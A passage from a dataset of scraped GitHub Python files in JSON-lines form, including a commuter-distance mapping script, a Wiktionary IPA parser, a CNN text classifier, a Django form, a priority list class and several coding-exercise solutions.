[(sw[1], sw[0]), (ne[1], ne[0])]\n    sw_ne_m = list(transformer_l2m.itransform(sw_ne_l))\n\n    x_m = list(range(math.floor(sw_ne_m[0][0]), math.ceil(sw_ne_m[1][0]), mesh_size))\n    y_m = list(range(math.floor(sw_ne_m[0][1]), math.ceil(sw_ne_m[1][1]), mesh_size))\n\n    xy_m = list(itertools.product(x_m, y_m))\n    xy_l = list(transformer_m2l.itransform(xy_m))\n\n    with open(polygon_file, encoding='utf-8') as f:\n        data = json.load(f)\n\n    points = []\n\n    for p in xy_l:\n        point = Point(p[0], p[1])\n        assert 'geometries' in data.keys()\n        for geometry in data['geometries']:\n            polygon = shape(geometry)\n            if polygon.contains(point):\n                # We assume (lat, lng) format, so transform from (lng, lat) to (lat, lng)\n                points.append((p[1], p[0]))\n\n    return points\n\n\ndef save_points(points: list, points_file: str):\n    df = pd.DataFrame(points, columns=['lat', 'lng'])\n    df.to_csv(points_file, index=False)\n\n\ndef save_distances(distances: str, distances_file: str):\n    f = open(distances_file, 'w', encoding='utf-8')\n    f.write(distances)\n    f.close()\n\n\n\"\"\"\nMain parameters\n\"\"\"\n\n# Top 10 most populated cities in the U.S.\ncities = {\n    'New York City' : { 'relation_id':  175905, 'city_hall_lat_lng': (40.7128,  -74.0060), 'timezone':  'US/Eastern' },\n    #'Los Angeles'   : { 'relation_id':  207359, 'city_hall_lat_lng': (34.0522, -118.2437), 'timezone':  'US/Pacific' },\n    #'Chicago'       : { 'relation_id':  122604, 'city_hall_lat_lng': (41.8781,  -87.6298), 'timezone':  'US/Central' },\n    #'Houston'       : { 'relation_id': 2688911, 'city_hall_lat_lng': (29.7604,  -95.3698), 'timezone':  'US/Central' },\n    #'Phoenix'       : { 'relation_id':  111257, 'city_hall_lat_lng': (33.4484, -112.0740), 'timezone': 'US/Mountain' },\n    #'Philadelphia'  : { 'relation_id':  188022, 'city_hall_lat_lng': (39.9526,  -75.1652), 'timezone':  'US/Eastern' },\n    #'San Antonio'   : { 'relation_id':  253556, 'city_hall_lat_lng': (29.4241,  -98.4936), 'timezone':  'US/Central' },\n    #'San Diego'     : { 'relation_id':  253832, 'city_hall_lat_lng': (32.7157, -117.1611), 'timezone':  'US/Pacific' },\n    #'Dallas'        : { 'relation_id': 6571629, 'city_hall_lat_lng': (32.7767,  -96.7970), 'timezone':  'US/Central' },\n    #'San Jose'      : { 'relation_id':  112143, 'city_hall_lat_lng': (37.3382, -121.8863), 'timezone':  'US/Pacific' },\n}\n\nmodes      = ['driving', 'walking', 'bicycling', 'transit']\ndirections = ['arrival', 'departure']\n# | Mesh size | Distance Matrix calls |\n# |-----------|-----------------------|\n# |      1000 |                 1,280 |\n# |       500 |                 5,008 |\n# |       100 |               124,048 |\nmesh_size  = 500 # The grid's mesh size in meters\n\n# Let's commute on Wednesday, Dec 2, with the work hours 9-5\nworkday     = datetime.date(2020, 12, 2)\nworkday_tic = datetime.time(9)\nworkday_toc = datetime.time(17)\n\ndistance_matrix_client = DistanceMatrixClient()\n\n\"\"\"\n/Main parameters\n\"\"\"\n\n\ndef save_inputs():\n    for city in cities.keys():\n        print('City = {}'.format(city))\n\n        city_slug    = city.lower().replace(' ', '-')\n        polygon_file = 'data/polygon-{}.json'.format(city_slug)\n        points_file  = 'data/points-{}.csv'.format(city_slug)\n        \n        # Save the city's polygon as a json file using http://polygons.openstreetmap.fr/get_geojson.py\n        save_polygon(relation_id=cities.get(city).get('relation_id'), polygon_file=polygon_file)\n        # Get the Southwesternmost and Northeastern most points\n        sw, ne = get_sw_ne(polygon_file=polygon_file)\n        # Get grid points within the polygon using a mesh with size mesh_size\n        points = get_grid_points(sw=sw, ne=ne, mesh_size=mesh_size, polygon_file=polygon_file)\n        # Save the city's grid points as a CSV file\n        save_points(points=points, points_file=points_file)\n\n        # Get distances using the Google Distance Matrix API\n        for mode in modes:\n            print('\\tMode = {}'.format(mode))\n\n            df = pd.read_csv(points_file)\n\n            for i in list(range(0, len(df), 100)):\n                i_end = None\n                if i + 100 <= len(df):\n                    i_end = i + 100\n                else:\n                    i_end = len(df)\n                \n                print('\\t\\tSlice = {}:{}'.format(i, i_end-1))\n\n                df_slice = df.iloc[i:i_end]\n                \n                for direction in directions:\n                    print('\\t\\t\\tDirection = {}'.format(direction))\n\n                    if direction == 'arrival':\n                        origins        = list(df_slice.to_records(index=False))\n                        destinations   = [cities.get(city).get('city_hall_lat_lng')]\n                        arrival_time   = pytz.timezone(cities.get(city).get('timezone')).localize(datetime.datetime.combine(workday, workday_tic)).timestamp()\n                        distances      = distance_matrix_client.get_distance(origins=origins, destinations=destinations, mode=mode, arrival_time=arrival_time)\n                        distances_file = 'data/distances-{}-{}-{}-{}-{}.json'.format(city_slug, mode, direction, i, i_end-1)\n                        save_distances(distances=distances, distances_file=distances_file)\n                    elif direction == 'departure':\n                        origins        = [cities.get(city).get('city_hall_lat_lng')]\n                        destinations   = list(df_slice.to_records(index=False))\n                        departure_time = pytz.timezone(cities.get(city).get('timezone')).localize(datetime.datetime.combine(workday, workday_toc)).timestamp()\n                        distances      = distance_matrix_client.get_distance(origins=origins, destinations=destinations, mode=mode, departure_time=departure_time)\n                        distances_file = 'data/distances-{}-{}-{}-{}-{}.json'.format(city_slug, mode, direction, i, i_end-1)\n                        save_distances(distances=distances, distances_file=distances_file)\n\n\ndef save_outputs():\n    for city in cities.keys():\n        print('City = {}'.format(city))\n        city_slug   = city.lower().replace(' ', '-')\n        points_file = 'data/points-{}.csv'.format(city_slug)\n        df = pd.read_csv(points_file)\n        for mode in modes:\n            print('\\tMode = {}'.format(mode))\n            for i in list(range(0, len(df), 100)):\n                i_end = None\n                if i + 100 <= len(df):\n                    i_end = i + 100\n                else:\n                    i_end = len(df)\n                print('\\t\\tSlice = {}:{}'.format(i, i_end-1))\n                for direction in directions:\n                    print('\\t\\t\\tDirection = {}'.format(direction))\n                    distances_file = None\n                    if direction == 'arrival':\n                        distances_file = 'data/distances-{}-{}-{}-{}-{}.json'.format(city_slug, mode, direction, i, i_end-1)\n                    elif direction == 'departure':\n                        distances_file = 'data/distances-{}-{}-{}-{}-{}.json'.format(city_slug, mode, direction, i, i_end-1)\n                    with open(distances_file) as f:\n                        data = json.load(f)\n                    \n                    # Read JSON file\n                    if direction == 'arrival':\n                        # Get address\n                        assert 'origin_addresses' in data.keys()\n                        origin_addresses = data.get('origin_addresses')\n                        j = 0\n                        for origin_address in origin_addresses:\n                            df.loc[i+j, '{}-{}-address'.format(mode, direction)] = origin_address\n                            j += 1\n                        # Get distance and duration\n                        assert 'rows' in data.keys()\n                        rows = data.get('rows')\n                        j = 0\n                        for row in rows:\n                            assert 'elements' in row.keys()\n                            elements = row.get('elements')\n                            for element in elements:\n                                assert 'status' in element.keys()\n                                status = element.get('status')\n                                if status == 'ZERO_RESULTS':\n                                    # Add these to the DataFrame\n                                    df.loc[i+j, '{}-{}-distance'.format(mode, direction)] = None\n                                    df.loc[i+j, '{}-{}-duration'.format(mode, direction)] = None\n                                elif status == 'OK':\n                                    # Distance\n                                    assert 'distance' in element.keys()\n                                    distance = element.get('distance')\n                                    assert 'value' in distance\n                                    distance_value = distance.get('value')\n                                    # Duration\n                                    assert 'duration' in element.keys()\n                                    duration = element.get('duration')\n                                    assert 'value' in duration\n                                    duration_value = duration.get('value')\n                                    # Add these to the DataFrame\n                                    df.loc[i+j, '{}-{}-distance'.format(mode, direction)] = distance_value\n                                    df.loc[i+j, '{}-{}-duration'.format(mode, direction)] = duration_value\n                            j += 1\n                    elif direction == 'departure':\n                        # Get address\n                        assert 'destination_addresses' in data.keys()\n                        destination_addresses = data.get('destination_addresses')\n                        j = 0\n                        for destination_address in destination_addresses:\n                            df.loc[i+j, '{}-{}-address'.format(mode, direction)] = destination_address\n                            j += 1\n                        # Get distance and duration\n                        assert 'rows' in data.keys()\n                        rows = data.get('rows')\n                        assert len(rows) == 1\n                        rows0 = rows[0]\n                        assert 'elements' in rows0.keys()\n                        elements = rows0.get('elements')\n                        j = 0\n                        for element in elements:\n                            assert 'status' in element.keys()\n                            status = element.get('status')\n                            if status == 'ZERO_RESULTS':\n                                # Add these to the DataFrame\n                                df.loc[i+j, '{}-{}-distance'.format(mode, direction)] = None\n                                df.loc[i+j, '{}-{}-duration'.format(mode, direction)] = None\n                            elif status == 'OK':\n                                # Distance\n                                assert 'distance' in element.keys()\n                                distance = element.get('distance')\n                                assert 'value' in distance\n                                distance_value = distance.get('value')\n                                # Duration\n                                assert 'duration' in element.keys()\n                                duration = element.get('duration')\n                                assert 'value' in duration\n                                duration_value = duration.get('value')\n                                # Add these to the DataFrame\n                                df.loc[i+j, '{}-{}-distance'.format(mode, direction)] = distance_value\n                                df.loc[i+j, '{}-{}-duration'.format(mode, direction)] = duration_value\n                            j += 1\n\n        df.to_csv('data/results-{}.csv'.format(city_slug), index=False)\n\n\ndef save_outputs_no_water_nyc():\n    df = pd.read_csv('data/results-new-york-city.csv')\n\n    # Load NYC polygon, water excluded (see https://data.cityofnewyork.us/City-Government/Borough-Boundaries/tqmj-j8zm)\n\n    \n\n    polygons = []\n\n    polygon_file = 'data/polygon-new-york-city-no-water.json'\n    with open(polygon_file, encoding='utf-8') as f:\n        data = json.load(f)\n\n    assert 'features' in data.keys()\n    features = data.get('features')\n    for feature in features:\n        assert 'geometry' in feature\n        geometry = feature.get('geometry')\n        assert 'coordinates' in geometry\n        coordinates = geometry.get('coordinates')\n        for coordinate in coordinates:\n            assert len(coordinate) == 1\n            polygons.append(Polygon(coordinate[0]))\n    \n    for i, row in df.iterrows():\n        point = Point(row['lng'], row['lat'])\n        within = False\n        for polygon in polygons:\n            if point.within(polygon):\n                within = True\n                break\n        df.loc[i, 'within'] = within\n    \n    df.to_csv('data/results-new-york-city-no-water.csv', index=False)\n\n\nif __name__ == '__main__':\n    #save_inputs()\n    save_outputs()\n    save_outputs_no_water_nyc()","repo_name":"fabianrigterink/mapping-commuter-misery","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"42222881693","text":"# pylint: disable=anomalous-backslash-in-string\n# pylint: disable=too-many-locals, too-many-branches, too-many-statements\n\"\"\"Parser to extract IPA text from pronunciation section in wiki text.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport json\ntry:\n    from urllib import urlencode, urlopen\nexcept ImportError:\n    from urllib.parse import urlencode\n    from urllib.request import urlopen\n\nimport regex as re\nfrom bs4 import BeautifulSoup\nfrom .IPA import IPA\nfrom .IPA import fr_pron\nfrom .IPA import ru_pron\nfrom .IPA import hi_pron\nfrom .IPA import es_pron\nfrom .IPA import cmn_pron\n\n\nclass Parser(object):\n    \"\"\"Wiktionary parser to extract IPA text from pronunciation section.\n\n    To extraction IPA for a certain language, specify ``lang`` parameter,\n    default is extracting IPA for all available languages.\n\n    To convert IPA text to X-SAMPA text, use ``XSAMPA`` parameter.\n\n    Parameters\n    ----------\n    lang : string\n        String of language type.\n    XSAMPA : boolean\n        Option for IPA to X-SAMPA conversion.\n    \"\"\"\n    def __init__(self, lang=None, XSAMPA=False):\n        self.lang = lang\n        self.XSAMPA = XSAMPA\n        self.api = \"https://en.wiktionary.org/w/api.php\"\n        self.param = {\n            \"action\": \"expandtemplates\",\n            \"text\": None,\n            \"prop\": \"wikitext\",\n            \"format\": \"json\"\n        }\n        self.regex = {\n            \"lang\": re.compile(\"\\|lang=([^\\|]+)\"),\n            \"node\": re.compile(\"(?<brackets>{{(?:[^{}]+|(?&brackets))*}})\"),\n            \"IPA-node\": re.compile(\"^(([\\w]+\\-)?(IPA|pron))(?=\\||\\n|\\Z)\"),\n            \"h2\": re.compile(\"(?:\\A|\\n)={2}([\\p{L}0-9 -]+)={2}\\n\"),\n            \"h3\": re.compile(\"\\n={3}([\\p{L}0-9 -]+)={3}\\n\"),\n            \"h4\": re.compile(\"\\n={4}([\\p{L}0-9 -]+)={4}\\n\"),\n            \"IPA\": re.compile(\"<span[^>]*>([^<]+)<\\/span>\")\n        }\n\n    def expand_template(self, text):\n        \"\"\"Expand IPA Template through Wiktionary API.\n\n        Used to expand ``{{*-IPA}}`` template in parser and return IPA list.\n\n        Parameters\n        ----------\n        text : string\n            String of template text inside \"{{\" and \"}}\".\n\n        Returns\n        -------\n        list of string\n            List of expanded IPA text.\n\n        Examples\n        --------\n        >>> parser = Parser()\n        >>> template = \"{{la-IPA|eccl=yes|thēsaurus}}\"\n        >>> parser.expand_template(template)\n        ['/tʰeːˈsau̯.rus/', '[tʰeːˈsau̯.rʊs]', '/teˈsau̯.rus/']\n        \"\"\"\n        self.param[\"text\"] = text.encode(\"utf-8\")\n        res = urlopen(self.api, urlencode(self.param).encode()).read()\n        content = json.loads(res.decode(\"utf-8\"))\n        html = content[\"expandtemplates\"][\"wikitext\"]\n        # Use BeautifulSoup instead of raw regex expr\n        # return self.regex[\"IPA\"].findall(html)\n        soup = BeautifulSoup(html, \"html.parser\")\n        span = soup.find_all(\"span\", {\"class\": \"IPA\"})\n        return list(map(lambda x: x.text, span))\n\n    def parse(self, wiki_text, title=None):\n        \"\"\"Parse Wiktionary wiki text.\n\n        Split Wiktionary wiki text into different langugaes and return\n        parseed IPA result.\n\n        Parameters\n        ----------\n        wiki_text : string\n            String of Wiktionary wiki text, from XML dump or Wiktionary API.\n        title: string\n            String of wiki entry title.\n\n        Returns\n        -------\n        dict\n            Dict of parsed IPA results.\n            Key: language name; Value: list of IPA text.\n        \"\"\"\n        self.title = title\n        parse_result = {}\n        h2_lst = self.regex[\"h2\"].findall(wiki_text)\n        if self.lang and self.lang not in h2_lst:\n            parse_result = {self.lang: \"Language not found.\"}\n            return parse_result\n        h2_split = self.regex[\"h2\"].split(wiki_text)\n        i = 0\n        while i < len(h2_split):\n            if h2_split[i] in h2_lst:\n                if not self.lang or h2_split[i] == self.lang:\n                    pronunciation = self.parse_detail(h2_split[i+1])\n                    if not pronunciation:\n                        pronunciation = \"IPA not found.\"\n                    parse_result[h2_split[i]] = pronunciation\n                i += 1\n            i += 1\n        return parse_result\n\n    def parse_detail(self, wiki_text, depth=3):\n        \"\"\"Parse the section of a certain language in wiki text.\n\n        Parse pronunciation section of the certain language recursively.\n\n        Parameters\n        ----------\n        wiki_text : string\n            String of wiki text in a language section.\n        depth : int\n            Integer indicated depth of pronunciation section.\n\n        Returns\n        -------\n        list of dict\n            List of extracted IPA text in\n            ``{\"IPA\": \"\", \"X-SAMPA\": \"\", \"lang\": \"\"}`` format.\n        \"\"\"\n        parse_result = []\n        detail_lst = self.regex[\"h\" + str(depth)].findall(wiki_text)\n        detail_split = self.regex[\"h\" + str(depth)].split(wiki_text)\n        # To avoid maximum recursion depth exceeded.\n        if len(detail_split) > 99999:\n            return \"Maximum recursion depth exceeded in wiki text.\"\n        i = 0\n        while i < len(detail_split):\n            if detail_split[i] in detail_lst:\n                header_name = detail_split[i].lower()\n                if header_name == \"pronunciation\":\n                    parse_result += \\\n                        self.parse_pronunciation(detail_split[i+1])\n                elif (\"etymology\" in header_name and\n                      header_name != \"etymology\"):\n                    parse_result += \\\n                        self.parse_detail(detail_split[i+1], depth=4)\n                i += 1\n            i += 1\n        return parse_result\n\n    def parse_pronunciation(self, wiki_text):\n        \"\"\"Parse pronunciation section in wiki text.\n\n        Parse IPA text from pronunciation section and convert to X-SAMPA.\n\n        Parameters\n        ----------\n        wiki_text : string\n            String of pronunciation section in wiki text.\n\n        Returns\n        -------\n        list of dict\n            List of extracted IPA text in\n            ``{\"IPA\": \"\", \"X-SAMPA\": \"\", \"lang\": \"\"}`` format.\n        \"\"\"\n        parse_result = []\n        node_lst = re.findall(self.regex[\"node\"], wiki_text)\n        for node in node_lst:\n            node = node[2:-2]\n            tag = re.findall(self.regex[\"IPA-node\"], node)\n            if tag:\n                tag = tag[0][0]\n                if tag in [\n                    \"IPA\", \"fr-IPA\", \"ru-IPA\", \"hi-IPA\", \"zh-pron\",\n                ]:\n                    node = re.sub(\"\\n\", \"\", node)\n                    node = re.sub(self.regex[\"IPA-node\"], \"\", node)\n                    node = re.sub(self.regex[\"node\"], \"\", node) #FIXME\n                    lang = re.findall(self.regex[\"lang\"], node)\n                    lang = lang[0] if lang else \"Unknown\"\n                    node = re.sub(self.regex[\"lang\"], \"\", node)\n                    node = re.sub(\"\\|qual\\d?=[^\\|]*\", \"\", node)\n                    node = re.sub(\"\\|n\\d?=[^\\|]*\", \"\", node)\n                    if tag == \"IPA\":\n                        node = node[1:]\n                        node_detail = node.split(\"|\")\n                        for each_ipa in node_detail:\n                            if not each_ipa:\n                                continue\n                            parse_result.append({\n                                \"IPA\": each_ipa,\n                                \"lang\": lang,\n                            })\n                    elif tag == \"fr-IPA\":\n                        lang = \"fr\"\n                        pos = re.findall(\"\\|pos=([^\\|]+)\", node)\n                        pos = pos[0] if pos else \"\"\n                        node = re.sub(\"\\|pos=([^\\|]+)\", \"\", node)\n                        node = node[1:]\n                        if not node and self.title:\n                            node = self.title\n                        node_detail = node.split(\"|\")\n                        for each_ipa in node_detail:\n                            if not each_ipa:\n                                continue\n                            parse_result.append({\n                                \"IPA\": fr_pron.to_IPA(\n                                    each_ipa,\n                                    pos=pos\n                                ),\n                                \"lang\": lang,\n                            })\n                    elif tag == \"ru-IPA\":\n                        lang = \"ru\"\n                        node = re.sub(\"\\|phon=\", \"\", node)\n                        noadj = re.findall(\"\\|noadj=([^\\|]+)\", node)\n                        noadj = noadj[0] if noadj else \"\"\n                        node = re.sub(\"\\|noadj=([^\\|]+)\", \"\", node)\n                        noshto = re.findall(\"\\|noshto=([^\\|]+)\", node)\n                        noshto = noshto[0] if noshto else \"\"\n                        node = re.sub(\"\\|noshto=([^\\|]+)\", \"\", node)\n                        gem = re.findall(\"\\|gem=([^\\|]+)\", node)\n                        gem = gem[0] if gem else \"\"\n                        node = re.sub(\"\\|gem=([^\\|]+)\", \"\", node)\n                        pos = re.findall(\"\\|pos=([^\\|]+)\", node)\n                        pos = pos[0] if pos else \"\"\n                        node = re.sub(\"\\|pos=([^\\|]+)\", \"\", node)\n                        node = re.sub(\"\\|raw=([^\\|]+)\", \"\", node)\n                        node = re.sub(\"\\|ann=([^\\|]+)\", \"\", node)\n                        bracket = re.findall(\"\\|bracket=([^\\|]+)\", node)\n                        bracket = bracket[0] if bracket else \"\"\n                        node = re.sub(\"\\|bracket=([^\\|]+)\", \"\", node)\n                        node = node[1:]\n                        if not node and self.title:\n                            node = self.title\n                        node_detail = node.split(\"|\")\n                        for each_ipa in node_detail:\n                            if not each_ipa:\n                                continue\n                            parse_result.append({\n                                \"IPA\": ru_pron.to_IPA(\n                                    each_ipa,\n                                    adj=noadj,\n                                    gem=gem,\n                                    bracket=bracket,\n                                    pos=pos\n                                ),\n                                \"lang\": lang,\n                            })\n                    elif tag == \"hi-IPA\":\n                        lang = \"hi\"\n                        node = node[1:]\n                        if not node and self.title:\n                            node = self.title\n                        node_detail = node.split(\"|\")\n                        for each_ipa in node_detail:\n                            if not each_ipa:\n                                continue\n                            parse_result.append({\n                                \"IPA\": hi_pron.to_IPA(each_ipa),\n                                \"lang\": lang,\n                            })\n                    elif tag == \"es-IPA\":\n                        lang = \"es\"\n                        node = node[1:]\n                        if not node and self.title:\n                            node = self.title\n                        node_detail = node.split(\"|\")\n                        for each_ipa in node_detail:\n                            if not each_ipa:\n                                continue\n                            parse_result.append({\n                                \"IPA\": es_pron.to_IPA(each_ipa),\n                                \"lang\": lang,\n                            })\n                    elif tag == \"zh-pron\":\n                        lang = \"zh\"\n                        node = re.findall(\"\\|m=([^\\|]+)\", node)\n                        node = node[0] if node else \"\"\n                        node_detail = node.split(\",\")\n                        for each_ipa in node_detail:\n                            if not each_ipa or \"=\" in each_ipa:\n                                continue\n                            parse_result.append({\n                                \"IPA\": cmn_pron.to_IPA(each_ipa),\n                                \"lang\": lang,\n                            })\n                else:\n                    if \"|\" not in node:\n                        node = \"{}|{}\".format(node, self.title)\n                    extend_lst = self.expand_template(\"{{%s}}\" % node)\n                    lang = tag.split(\"-\")\n                    lang = lang[0] if lang else \"Unknown\"\n                    for each_ipa in extend_lst:\n                        parse_result.append({\n                            \"IPA\": each_ipa,\n                            \"lang\": lang,\n                        })\n        if self.XSAMPA:\n            for item in parse_result:\n                item.update({\n                    \"X-SAMPA\": IPA.IPA_to_XSAMPA(item[\"IPA\"]),\n                })\n        return parse_result\n","repo_name":"abuccts/wikt2pron","sub_path":"pywiktionary/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":13005,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"60"}
+{"seq_id":"40999569221","text":"from typing import List\n\nclass Solution:\n    def twoSum(self, nums: List[int], target: int) -> List[int]:\n        prevMap = {}\n\n        for i, n in enumerate(nums):\n            diff = target - n\n            if diff in prevMap:\n                return [prevMap[diff], i]\n            prevMap[n] = i\n        return\n        \n    def twoSumBruteForce(self, nums: list[int], target: int) -> list[int]:\n        pivot_index = 0\n        while True:\n\n            for i in range(pivot_index + 1, len(nums)):\n                total = nums[pivot_index] + nums[i]\n                if total == target:\n                    return [ pivot_index, i ]\n\n            pivot_index += 1\n\n# Example 1:\nnums1 = [2,7,11,15]\ntarget1 = 9\n#---> Output: [0,1]\n\n# Example 2:\nnums2 = [3,2,4]\ntarget2 = 6\n#---> Output: [1,2]\n\n# Example 3:\nnums3 = [3,3]\ntarget3 = 6\n#---> Output: [0,1]\n\nif __name__== \"__main__\":\n    s = Solution()\n    print(\"Output 1: \", s.twoSum(nums1, target1))\n    print(\"Output 2: \", s.twoSum(nums2, target2))\n    print(\"Output 3: \", s.twoSum(nums3, target3))\n","repo_name":"kemalozer23/leetcode-practice","sub_path":"Blind75/Array/TwoSum/two_sum.py","file_name":"two_sum.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"15193802121","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass  CNN_Text(nn.Module):\n\n    def __init__(self, args):\n        super(CNN_Text,self).__init__()\n        self.args = args\n\n        vocab = args.embed_num   #embedding vocab number\n        dim = args.embed_dim   #300\n        class_num = args.class_num   #2\n        channel = 1\n        k_num = args.kernel_num #100\n        kernel_size = args.kernel_sizes #3,4,5\n\n        self.embed = nn.Embedding(vocab, dim)\n\n\n        self.convs = nn.ModuleList([nn.Conv2d(channel, k_num, (k, dim)) for k in kernel_size])\n        \"\"\"\n        self.conv1 = nn.Conv2d(channel, k_num, (kernel_size[0], dim))\n        self.conv2 = nn.Conv2d(channel, k_num, (kernel_size[1], dim))\n        self.conv3 = nn.Conv2d(channel, k_num, (kernel_size[2], dim))\n        \"\"\"\n        self.dropout = nn.Dropout(args.dropout)\n\n        self.fc1 = nn.Linear(len(kernel_size)*k_num, class_num)\n\n    def forward(self, x):\n\n        x = self.embed(x) # (N,W,D)\n        #print(x)\n\n        if self.args.static:\n            x = Variable(x)\n\n        x = x.unsqueeze(1) # (N,channel,W,D)\n\n        x = [F.relu(conv(x)).squeeze(3) for conv in self.convs]\n        x = [F.max_pool1d(i, i.size(2)).squeeze(2) for i in x]\n\n        \"\"\"\n        temp_x = x\n        temp_x = F.relu(self.conv1(temp_x)).squeeze(3)  #[(N,k_num,W), ...]\n        temp_x = F.max_pool1d(temp_x, x.size(2)).squeeze(2) #[(N,k_num), ...]\n        x1 = temp_x\n\n        temp_x = x\n        temp_x = F.max_pool1d(F.relu(self.conv2(temp_x)).squeeze(3), x.size(2)).squeeze(2)\n        x2 = temp_x\n\n        temp_x = x\n        temp_x = F.max_pool1d(F.relu(self.conv3(temp_x)).squeeze(3), x.size(2)).squeeze(2)\n        x3 = temp_x\n        \"\"\"\n\n        x = torch.cat(x, 1)\n\n        x = self.dropout(x) # (N,len(kernel_size)*k_num)\n        logit = self.fc1(x) # (N,class_num)\n        return logit\n","repo_name":"KimByoungjae/PytorchStudy","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"951381913","text":"from collection import linkedlist as ll\n\nclass PriorityNode(ll.Node) :\n\n    def __init__(self, object, prev, next, score):\n        super().__init__(object, prev, next)\n        if(not isinstance(score, float)) :\n            raise Exception(\"Argument type error\")\n        self._score = score\n\n    def getScore(self) :\n        return self._score\n\nclass PriorityList(ll.LinkedList) :\n\n    def __init__(self):\n        super().__init__()\n\n    def insertPriority(self, object, score) :\n        if(object is None) :\n            raise Exception(\"Argument null error\")\n\n        if(self._length==0) :\n            self._start = PriorityNode(object, None, None, score)\n            self._end = self._start\n            self._length += 1\n            return\n\n        self._length += 1\n\n        if(self._start.getScore() >= score) :\n            tmp = PriorityNode(object, None, self._start, score)\n            self._start.setPrev(tmp)\n            self._start = tmp\n            return\n\n        if(self._end.getScore() < score) :\n            tmp = PriorityNode(object, self._end, None, score)\n            self._end.setNext(tmp)\n            self._end = tmp\n            return\n\n        iter = self._start\n        while(iter.getScore() < score) :\n            iter = iter.getNext()\n\n        tmp = PriorityNode(object, iter.getPrev(), iter, score)\n        iter.getPrev().setNext(tmp)\n        iter.setPrev(tmp)\n\n    def insert(self, object, index):\n        raise Exception(\"Unsupported operation exception\")","repo_name":"matthew77cro/Artificial-intelligence","sub_path":"LV1/collection/prioritylist.py","file_name":"prioritylist.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29439280779","text":"\nfrom django.forms import ModelForm\nfrom .models import Project\nfrom django import forms\n\n\n# Django will Look for the Project Model and create it automatically \nclass ProjectForm(ModelForm):\n    class Meta:\n        model = Project\n        fields = ['title','description','demo_link','source_link','tags','featured_image']\n\n\n        widgets = {\n            \"tags\": forms.CheckboxSelectMultiple(),\n        }\n\n    def __init__(self, *args, **kwargs) -> None:\n        super(ProjectForm, self).__init__(*args, **kwargs)\n\n        for k,v in self.fields.items():\n            self.fields[k].widget.attrs.update({\n                'class': 'input'\n            })\n\n        # this way we need to put all of our columns \n        # self.fields['title'].widget.attrs.update(\n        #     {\n        #         'class': 'input',\n        #         'placeholder': 'AddTitle'\n\n        #     })\n","repo_name":"esak21/DJ22","sub_path":"step0_learning/devsearch/projects/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23020384105","text":"# 처음에 워셜 플로이드로 모든 노드의 거리를 구하는 방식으로 풀었지만 시간복잡도에서 통과하지못하여 풀이 변경(다른 사람 풀이 참고)\nclass Solution:\n    def sumOfDistancesInTree(self, n: int, edges: List[List[int]]) -> List[int]:\n        graph = defaultdict(set)\n        count = [1] * n\n        answer = [0] * n\n        for s,e in edges:\n            graph[s].add(e)\n            graph[e].add(s)\n        \n        def dfs(node, parent):\n            for child in graph[node]:\n                if child != parent:\n                    dfs(child, node)\n                    count[node] += count[child]\n                    answer[node] += (answer[child] + count[child])\n        \n        def dfs2(node, parent):\n            for child in graph[node]:\n                if child != parent:\n                    answer[child] = answer[node] - count[child] + (n - count[child])\n                    dfs2(child, node)\n            \n        dfs(0,None)\n        dfs2(0,None)\n        return answer","repo_name":"pjaehyun/TIL","sub_path":"PS/leetcode/834.Sum of Distances in Tree.py","file_name":"834.Sum of Distances in Tree.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"16090147864","text":"from utils import DocItem, clear_text, DOCITEM_FIELDS, pickle_data, clear_text_old\nfrom config import PATH_DUMP, PATH_QUERY, PATH_PICKLE\n\nfrom tqdm import tqdm\nimport time\n\nclass Reader:\n    def __init__(self, fit_online, fit_corpus, model = None):\n        self.model = model\n        self.fit_online = fit_online\n        self.fit_corpus = fit_corpus\n        self.links_dict = dict()\n        self.title_dict =  dict()\n        self.body_dict = dict()\n        self.h1_dict = dict()\n        self.h2_dict = dict()\n        self.h3_dict = dict()\n        self.keywords_dict = dict()\n        self.description_dict = dict()\n\n\n    @staticmethod\n    def _parse_second(b):\n        return [[x.strip()[1:-1] for x in b.split('\\t')[2:][i][1:-1].split(',')] for i in range(len(b.split('\\t')[2:]))]\n\n\n    def read_docs(self, iscorpus, isothers, others_list):\n        \"\"\"\n        :param iscorpus: True, False,\n        :param isothers: True, False\n        :return: doc_text: {doc_number, [word1, word2, ..., wordN]},\n\n        doc = DocItem[doc_number]: doc.links, doc.title,\n        doc.body, doc.h1,doc.h2, doc.h3,doc.keywords, doc.description\n        \"\"\"\n\n\n        print(\"Start reading lines from {}\".format(PATH_DUMP))\n        start_time = time.time()\n        with open(PATH_DUMP, 'r') as f:\n            all_data = f.readlines()\n        print(\"End reading lines, tot time {}\".format(time.time() - start_time))\n\n\n        corpus_dict = dict()\n\n\n        print(\"Start reading {} docs\".format(len(all_data)))\n\n        for b in tqdm(all_data):\n            temp_docitem = DocItem(int(b.split('\\t')[0]), *self._parse_second(b))\n            words_list = []\n            #'links', 'title', 'body', 'h1', 'h2', 'h3', 'keywords', 'description'\n            for field in DOCITEM_FIELDS[1:]:\n                temp_text_list = getattr(temp_docitem, field)\n                temp_text_list_new = list()\n\n                for word in temp_text_list:\n                    if len(word) == 1:\n                        continue\n                    else:\n                        temp_text_list_new.append(word)\n\n                words_list += temp_text_list_new\n\n            if iscorpus:\n                corpus_dict[temp_docitem.doc_url] = words_list\n\n            if self.fit_online:\n                if self.fit_corpus == \"whole\":\n                    